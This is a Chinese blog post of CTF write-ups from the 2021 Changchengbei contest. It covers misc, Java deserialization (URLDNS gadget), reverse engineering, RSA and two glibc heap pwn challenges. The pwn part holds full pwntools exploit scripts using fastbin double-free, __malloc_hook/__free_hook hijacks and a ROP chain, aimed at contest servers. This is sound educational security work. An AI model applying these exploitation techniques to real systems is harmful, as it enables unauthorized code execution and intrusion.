Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2021年9月22日

2021长城杯 Write up by D0g3

Misc

签到

hex转str,然后base64 decode

5a6d78685a3374585a57786a6232316c5833527658324e6f5957356e5932686c626d64695a576c39
ZmxhZ3tXZWxjb21lX3RvX2NoYW5nY2hlbmdiZWl9
flag{Welcome_to_changchengbei}

Web

ezjava

源代码直接进行代码审计,项目是springboot启动的,看一下controller,里面主要是进行调用getflag()函数去执行。

看一下逻辑非常简单。就需要我们输入一个base64加密的数据,然后 在解密,在aes解码,然后在进行反序列化,然后在去读其他属性匹配就getflag。

一看就想得到的urldns 链子,而且项目的test文件里面给了hint。。。。

直接构造

public static Object exp()throws Exception{
    Class clazz = Class.forName("java.net.URL");
    Constructor con = clazz.getConstructor(String.class);
    URL url = (URL)con.newInstance("https://aaaaaaaa.com");
    Field field = clazz.getDeclaredField("hashCode");
    field.setAccessible(true);
    field.set(url, 72768382);
    return url;
}

这样是不行的因为readobject的时候进行了强制转换

HashMap obj = (HashMap)ois.readObject();

我们封装一下就ok了。

public static Object exp()throws Exception{
        Class clazz = Class.forName("java.net.URL");
        Constructor con = clazz.getConstructor(String.class);
        URL url = (URL)con.newInstance("https://aaaaaaaa.com");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 72768382);
        HashMap map = new HashMap<>();//封装
        map.put(url,url);
        return map;
    }

然后就非常简单了。使用aes去加密就OK

key: c0dehack1nghere7
偏移量:b60eb83bf533eecf
模式:CBC

有一个坑点是base64加密,要使用下面这个才可以。。

byte[] encode = java.util.Base64.getUrlEncoder().encode(encrypt);

然后直接getlflag。

Re

魔鬼凯撒的RC4茶室

main函数:

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  char Str1[65544]; // [esp+614h] [ebp-20028h] BYREF
  int v5; // [esp+1061Ch] [ebp-10020h]
  int v6[3]; // [esp+10628h] [ebp-10014h] BYREF
  char Str[65540]; // [esp+10634h] [ebp-10008h] BYREF

  __CheckForDebuggerJustMyCode(&unk_5CC029);
  sub_460D92();
  v5 = 6;
  ((void (*)(const char *, ...))sub_45F1CC)("%s", Str1);
  sub_462CBE((int)Str1, 20, 8);
  if ( !j__strcmp(Str1, "z8layn_b91_nb9ha1}") )
  {
    sub_45FCDA("噢,尊贵的上宾,欢迎您的到来.\n");
    sub_45FCDA(
      "小明在恶魔凯撒的茶室喝完茶,正巧想买点点心回去,可是小明又忘记了自己的支付密码真是太难受了.\n");
    sub_45FCDA("此时小明的电脑只剩下这个加密程序,以及之前的加密的密码文件和秘钥.\n");
    sub_45FCDA("小明想请你帮他通过分析程序找回密码,并且给你送些金币.\n");
    while ( 1 )
    {
      while ( 1 )
      {
        sub_45FCDA("-----------------------------加密程序--------------------------------------\n");
        sub_45FCDA("-----------------------------1.加密----------------------------------------\n");
        sub_45FCDA("-----------------------------2.解密----------------------------------------\n");
        sub_45FCDA("-----------------------------3.退出----------------------------------------\n");
        ((void (*)(const char *, ...))sub_45F1CC)("%d", v6);
        if ( v6[0] != 1 )
          break;
        sub_45FCDA("请输入需要加密的文本: ");
        ((void (*)(const char *, ...))sub_45F1CC)("%s", Str);
        sub_4601FD(Str);
      }
      if ( v6[0] == 2 )
      {
        sub_45FCDA("小明没交月卡,别想白嫖我!!!\n");
      }
      else
      {
        if ( v6[0] == 3 )
          j__exit(0);
        sub_45FCDA("Error!\n");
      }
    }
  }
  sub_45FCDA("嘿,想白嫖我们茶室骗吃骗喝吗╭(╯^╰)╮!!\n");
  sub_461E68("pause");
  j__exit(0);
}

题目分为2部分输入,第一部分输入进行了一个移位加密,接着后面的一部分输入进行了rc4加密后写入指定的文件,最后将key进行tea和移位加密后分别写入2个指定的文件中。

对于第一部分解密慢慢的凑一下是 f0rget_h13_th1ng3}

后面的flag密文片段的解密开始想的是解密key后再去解密flag密文,后面发现flag只是和一个计算出的值异或,直接调试得到就行,是0xde

提取出密文解密:

>>> s = [0x0D,0x0A,0xB2,0xBF,0xB9,0xA5,0xA6,0xEF,0xBF,0xB1,0xB3,0xEF,0xB0,0xB9,0x81,0xEF,0xAD,0x81,0xED,0xB1,0x81,0xBB,0xBF,0xAD,0xA7,0x81]
>>> s
[13, 10, 178, 191, 185, 165, 166, 239, 191, 177, 179, 239, 176, 185, 129, 239, 173, 129, 237, 177, 129, 187, 191, 173, 167, 129]
>>> ans = [s[i]^0xde for i in range(len(s))]
>>> bytes(ans)
b'\xd3\xd4lag{x1aom1ng_1s_3o_easy_'
>>>

但为什么开始一个字符不对呢。。

再回到程序中分析发现把应该写入的一个密文改成了之前的回车字符:

 v16 = j__getchar();
  for ( j = 0; j < v20; ++j )
  {
    j__fputc(v16, Stream);

这倒不影响的,直接将第一个字符改为f就行。

最终flag

flag{x1aom1ng_1s_3o_easy_f0rget_h13_th1ng3}

Crypto

baby_rsa

可以看到flag分成两半

后半部分四素数RSA,知道四素数之间的关系,使用factordb可以解出

前半部分攻击p,q位数去寻找可能的pq

之后遍历p*q解密出来具有flag{的明文找到能正确解密的pq

from Crypto.Util.number import *

c1 = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
c2 = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
n2 = 43001726046955078981344016981790445980199072066019323382068244142888931539602812318023095256474939697257802646150348546779647545152288158607555239302887689137645748628421247685225463346118081238718049701320726295435376733215681415774255258419418661466010403928591242961434178730846537471236142683517399109466429776377360118355173431016107543977241358064093102741819626163467139833352454094472229349598479358367203452452606833796483111892076343745958394932132199442718048720633556310467019222434693785423996656306612262714609076119634814783438111843773649519101169326072793596027594057988365133037041133566146897868269
pp = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
nn = 1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491
e  = 0x10001

# p_array = []
# for m1 in range(128, 2, -1):
#     for var1 in range(pow(2,(1024 // (m1+1))), pow(2,(1024 // (m1+1)+1))):
#         p = pow(var1, (m1+1))-pow((var1+1), m1)
#         if isPrime(p):
#             if  p.bit_length() in range(1024, 1026):
#                 p_array.append(p)
p_array = [294214241043210847882633628460406569791004369248219469864868650839944892041552240115071921799516814453729223636385495706851064791673605812405426598104306214287211381632931839743688359795486667731446998689421253087437104672397328045443587236120188583037287351172306262921448876283904175440304649379775701352449, 239591586748337401643138259336653422380391296527007495421617182492696384217579458720552545572092898422520269493497079141906824746047237100181459709538055365398589593923776963760649026170131576762484799738230183047603199611040916019666145669095861853119463055674896915029800648956761206592816093668497430828499, 137220093960744828238632475128215956293264086232305207599119714732097658988404488399736087706749038259378618948089265349867642198593528097681097865547441863247023467367037168359378330881516264773198708724387008685141195175092729201617424618572512546314459303629158902081585827575044390371427755886915729417741, 251467454190909061450985974736326221617890636267369767823537688589412617462083841773775892184688821563655171094359320023133209727826400106647013797491267690215270657489544061705495092171459444099200382551788352727865901396162127935740222949117709986363316845817520011979372989582273958925281416455623495330209, 93688693342441414883110735404850448863927777076290770002200132971203146188419224579275597976916112707743063984207570937206718938998836987736942554239680097758507948412881559466938339591770928982194082305192951257602822303617979177369445248074425354606509070090282804033249351760606678477894931422326036646817, 182625368878434561236314829534342989667118871938176172535459754562667912161976193848237797195334736190907132065857802649338496667275713714495427452324364339323311411283251595184873415812817720434282235406689395772203956972434682619621416459447911317618461257556718890765786954027494434186467017030493230888849, 97246412347218821717526986290794414185225543849884401860228491421108503095346380479458284292472689074915793956699436593382435941144635429395875331923475111653402765349313863079121744546351061778622419789258179179670044075189273816322467258283326217509640700349507007456971794840014428232309991891093611964609, 121877218708080751764553230518799211388109398427722407812477572532424099776962877656839835616879763045641301961333173741769586150201419706444709577034980588422868986583763044484827097376715492207839372901584663088759124653707551142517135378126586944830432654352314800216433550173030064605599802323183522185089, 130401727026710266118485181601596161415989440679143963042347034723817640864787491610306888624069219128367331482946983400006260369907233305521763458274589995022570486424558602996652475671602162214888437211787777442488045233230213152389226583427007282396582684544850422876716359510794174107756904240452838675457, 147152201603429172717818012873298993923387858503263516634568146924976255599954709174435137378996471445341988793063942835984117780233180757190066329177603690252081505496149596900244632734656900291982051422967964605248442947882066667398280068902614493696511641432644672717401419543231626002494104992185985523239]

# q_array = []
# for m2 in range(128, 2, -1):
#     for var2 in range(pow(2,(1024 // (m1+1))), pow(2,(1024 // (m1+1)+1))):
#         q = pow(var2, (m2+1))-pow((var2+1), m2)
#         if isPrime(q):
#             if  q.bit_length() in range(1023, 1025):
#                     q_array.append(q)

q_array = [57317700419715468513185509060583512178200535449200562119327466031665644769904333354067160157145008150370597520080962086380559115254150287086026192349765034581949024305095306399787645130021756225377516198895786544717767497375889752986343077823214180643260929105311546605264454435411893914316040420635895658369, 45637780010417379808017765731077915464827099325931774606406917689277123174256988099979650835261287231709312104458164167504775919620868690076367462008522584356789549956789083790185479799202343233090832611989858514750055612786322541967606032692124033443446375711376784105420524836593210719932634768416339372801, 137220093960744828238632475128215956293264086232305207599119714732097658988404488399736087706749038259378618948089265349867642198593528097681097865547441863247023467367037168359378330881516264773198708724387008685141195175092729201617424618572512546314459303629158902081585827575044390371427755886915729417741, 74009982597919139469952172023133575135702994278937340722423360210748433228295183241023509446168457544172392796575338627955115912573760274674269840747488329599840630246805189500931407953743613214814551512428226646507980683866282672516627197428436633803467323225175416278809489343935864892114404766753051069249, 93688693342441414883110735404850448863927777076290770002200132971203146188419224579275597976916112707743063984207570937206718938998836987736942554239680097758507948412881559466938339591770928982194082305192951257602822303617979177369445248074425354606509070090282804033249351760606678477894931422326036646817, 97246412347218821717526986290794414185225543849884401860228491421108503095346380479458284292472689074915793956699436593382435941144635429395875331923475111653402765349313863079121744546351061778622419789258179179670044075189273816322467258283326217509640700349507007456971794840014428232309991891093611964609, 121877218708080751764553230518799211388109398427722407812477572532424099776962877656839835616879763045641301961333173741769586150201419706444709577034980588422868986583763044484827097376715492207839372901584663088759124653707551142517135378126586944830432654352314800216433550173030064605599802323183522185089, 130401727026710266118485181601596161415989440679143963042347034723817640864787491610306888624069219128367331482946983400006260369907233305521763458274589995022570486424558602996652475671602162214888437211787777442488045233230213152389226583427007282396582684544850422876716359510794174107756904240452838675457, 71060690579507243110593744923423259383078185563104260139331786236636438739344471197091126012406291803034546312299051144987270435514894998574861284957985574610819343766607705305106844084334861003743481295684473192418579553388026082862897584598212731963500992490876195768193456051910264261158815342528875425887, 76220281593010812739260460919967462520100305981139644877210459252408834941246461964289686134031007671591824475268942867086182325961032012715850318328424754832285842807595495008502881736164991666543405726272849887000203125719823485325577409997778679564143251468471743185133015144742819984595436009948749991741]
def main():
    d = inverse(e, nn-1)
    m2 = pow(c2, d, nn)
    print(long_to_bytes(m2))
    for p in p_array:
        for q in q_array:
            d = inverse(e, (p-1)*(q-1))
            m = pow(c1, d, p*q)
            m = long_to_bytes(m)
            if b'flag{' in m:
                print(m)
                break

if __name__ == '__main__':
    main()

Pwn

K1ng_in_h3Ap_I

vul:

void sub_C41()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v0 = inputn();
  if ( v0 < 0 || v0 > 10 || !*((_QWORD *)&bufs + v0) || !sizes[v0] )
    exit(0);
  free(*((void **)&bufs + v0));
}

采用fastbin attack打入IO_file中泄漏libc,然后劫持malloc_hook为one_gadget

exp

#!/usr/bin/env python2
from pwn import *
host = "47.104.175.110.:20066"
def add(index, size):
    io.sendlineafter('>>', '1')
    io.sendlineafter(':', str(index))
    io.sendlineafter(':', str(size))
def delete(index):
    io.sendlineafter('>>', '2')
    io.sendlineafter(':', str(index))
def edit(index, data):
    io.sendlineafter('>>', '3')
    io.sendlineafter(':', str(index))
    io.sendafter(':', data)
def pwn():
    add(0, 0x20)
    add(1, 0x60)
    edit(1, 'A' * 0x50 + p64(0) + p64(0x31) + '\n')
    add(2, 0x80)
    add(3, 0x20)
    add(4, 0x60)
    add(5, 0x60)
    add(6, 0x60)
    delete(3)
    delete(0)
    delete(3)
    delete(2)
    add(7, 0x20)
    edit(7, '\x90\n')
    add(8, 0x20)
    add(8, 0x20)
    p = p64(0)
    p += p64(0x71)
    p += '\xdd\x25'
    p += '\n'
    add(7, 0x20)
    edit(7, p)
    delete(4)
    delete(1)
    delete(4)
    add(8, 0x60)
    edit(8, '\xa0\n')
    add(8, 0x60)
    add(8, 0x60)
    add(8, 0x60)
    add(8, 0x60)
    p = 'A' * 0x33 + p64(0xfbadd3c80) + p64(0) * 3 + p8(8) + '\n'
    edit(8, p)
    libc.address = u64(io.recvuntil('\x7f')[-6:] + '\x00\x00') - (0x7ffff7dd2608 - 0x7ffff7a0d000)
    delete(5)   
    delete(6)   
    delete(5)
    p = p64(libc.sym['__malloc_hook'] - 0x23)
    p += '\n'
    add(0, 0x68)
    edit(0, p)
    add(8, 0x68)
    add(8, 0x68)
    gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    p = 'A' * (0x13 -8)
    p += p64(libc.address + gadget[1])
    p += p64(libc.sym['realloc'] + 12) + '\n'
    add(0, 0x68)
    edit(0, p)
    add(1, 0x10)
if __name__ == '__main__':
    #io = process('./pwn', env = {'LD_PRELOAD': libc_path})
    libc = ELF('./libc.so.6')
    io = remote("47.104.190.157", 26840)
    pwn()
    io.interactive()
    io.close()

K1ng_in_h3Ap_II

vul:

void sub_DB9()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("input index:");
  v0 = inputn();
  if ( v0 < 0 || v0 > 15 || !*((_QWORD *)&bufs + v0) )
    exit(0);
  free(*((void **)&bufs + v0));
}

uaf漏洞,采用fastbin 修改chunk的size,释放后成unsorted bin,泄漏libc,然后打入free_hook,劫持堆栈到堆中进行rop

exp

#!/usr/bin/env python2
from pwn import *
def add(index, size):
    io.sendlineafter('>>', '1')
    io.sendlineafter(':', str(index))
    io.sendlineafter(':', str(size))
def delete(index):
    io.sendlineafter('>>', '2')
    io.sendlineafter(':', str(index))
def edit(index, data):
    io.sendlineafter('>>', '3')
    io.sendlineafter(':', str(index))
    io.sendafter(':', data)
def dump(index):
    io.sendlineafter('>>', '4')
    io.sendlineafter(':', str(index))
def pwn():
    for i in range(8):
        add(0, 0x10)
    add(0, 0x40)
    for i in range(7):
        add(0, 0x60)
    for i in range(9):
        add(i, 0x60)
    edit(7, '\x00' * 0x50 + p64(0) + p64(0x71))
    for i in range(9):
        delete(i)
    delete(7)
    dump(7)
    io.recvuntil('\n', drop=True)
    heap = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
    print('heap: ' + hex(heap))
    for i in range(7):
        add(0, 0x60)
    add(0, 0x60)
    edit(0, p64(heap) + '\n')
    for i in range(0x10):
        add(0, 0x50)
    add(0, 0x60)
    add(0, 0x60)
    add(0, 0x60)
    edit(0, p64(0) + p64(0x60 * 0xd + 0x71))
    delete(8)
    add(0, 0x50)
    dump(0)
    leak = u64(io.recvuntil('\x7f')[-6:] + '\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 1184 - 0x10
    pop_rdi = libc_base + 0x00000000000215bf
    pop_rdx_rsi = libc_base + 0x0000000000130569
    add_rsp = libc_base + 0x0000000000124cd4
    print('leak: ' + hex(leak))
    print('leak: ' + hex(libc_base))
    for i in range(9):
        add(i, 0x60)
    edit(7, '\x00' * 0x50 + p64(0) + p64(0x71))
    for i in range(9):
        delete(i)
    delete(7)
    for i in range(7):
        add(0, 0x60)
    add(0, 0x60)
    edit(0, p64(libc_base + libc.sym['__free_hook']) + '\n')
    add(0, 0x60)
    add(0, 0x60)
    add(0, 0x60)
    edit(0, p64(libc_base + 0x521b5) + '\n')
    for i in range(6):
        add(0, 0x60)
    print('heap: ' + hex(heap))
    add(0, 0x60) # heap + 0x840
    add(1, 0x60) # heap + 0x840 + 0x70
    add(2, 0x60)
    add(3, 0x60)
    ret = libc_base + 0x00000000000008aa
    edit(1, './flag'.ljust(0x30, '\x00')  + p64(heap + 0x850 + 0x70 + 0x60) + p64(ret))
    p = p64(pop_rdi) + p64(heap + 0x850 + 0x60)
    p += p64(pop_rdx_rsi) + p64(0) + p64(0)
    p += p64(libc_base + libc.sym['open'])
    p += p64(add_rsp)
    edit(2, p)
    p = p64(pop_rdi) + p64(3) +  p64(pop_rdx_rsi) + p64(0x50) + p64(heap) + p64(libc_base + libc.sym['read'])
    p += p64(pop_rdi) + p64(1)
    p += p64(libc_base + libc.sym['write'])
    edit(3, p)
    delete(0)
if __name__ == '__main__':
    #io = process('./pwn', env = {'LD_PRELOAD': libc_path})
    libc = ELF('./libc.so.6')
    io = remote("47.104.190.157", 25329)
    pwn()
    io.interactive()
    io.close()

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!